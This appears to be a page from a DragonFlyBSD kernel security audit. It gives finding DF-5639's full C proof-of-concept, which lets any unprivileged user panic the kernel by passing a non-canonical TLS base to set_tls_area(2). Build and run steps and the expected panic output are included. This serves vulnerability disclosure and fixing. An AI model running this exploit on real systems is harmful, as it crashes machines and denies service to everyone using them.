⬢ DragonFlyBSD Kernel Audit
DF-5639 / tls_noncanon.c
← back to finding ↓ download raw
/*
 * DF-5639 PoC: unprivileged kernel panic via set_tls_area(2) with a
 * non-canonical TLS base.
 *
 *   sys_set_tls_area (sys/platform/pc64/x86_64/tls.c:100-108) performs NO
 *   validation of info.base and hands it to set_user_TLS(), which executes
 *   wrmsr(MSR_FSBASE, base) at tls.c:167 (or MSR_KGSBASE at tls.c:171).
 *   Intel SDM Vol.3 17.17: WRMSR to FS.base/GS.base with a non-canonical
 *   value raises #GP(0) -- in KERNEL mode here -> Fatal trap 9 -> panic.
 *
 * Build: cc -O1 -o tls_noncanon tls_noncanon.c
 * Run:   as any unprivileged user.  Expect: guest panics
 *        "Fatal trap 9: general protection fault while in kernel mode"
 *        "Stopped at set_user_TLS+0x68: wrmsr"
 *
 * NOTE: after a *successful* install nothing in libc may run (errno is
 *       %fs-relative), but on real Intel CPUs the panic happens inside the
 *       syscall itself, so we never return anyway.
 */
#include <sys/syscall.h>
#include <sys/tls.h>
#include <stdint.h>
#include <unistd.h>

#ifndef SYS_set_tls_area
#define SYS_set_tls_area 472
#endif

int
main(void)
{
	struct tls_info info;
	int rc;
	const char msg[] = "tls_noncanon: invoking set_tls_area(which=0, "
			   "base=0x0000800000000000, size=-1, infosize=16)\n";

	write(1, msg, sizeof(msg) - 1);

	info.base = (void *)0x0000800000000000UL;	/* non-canonical */
	info.size = -1;

	rc = syscall(SYS_set_tls_area, 0, &info, sizeof(info));

	/* not reached on real Intel CPUs (panic in-kernel); QEMU-TCG may
	 * return 0 here and fault only on the next %fs access */
	write(1, "returned - kernel did not trap wrmsr\n", 37);
	(void)rc;
	return (0);
}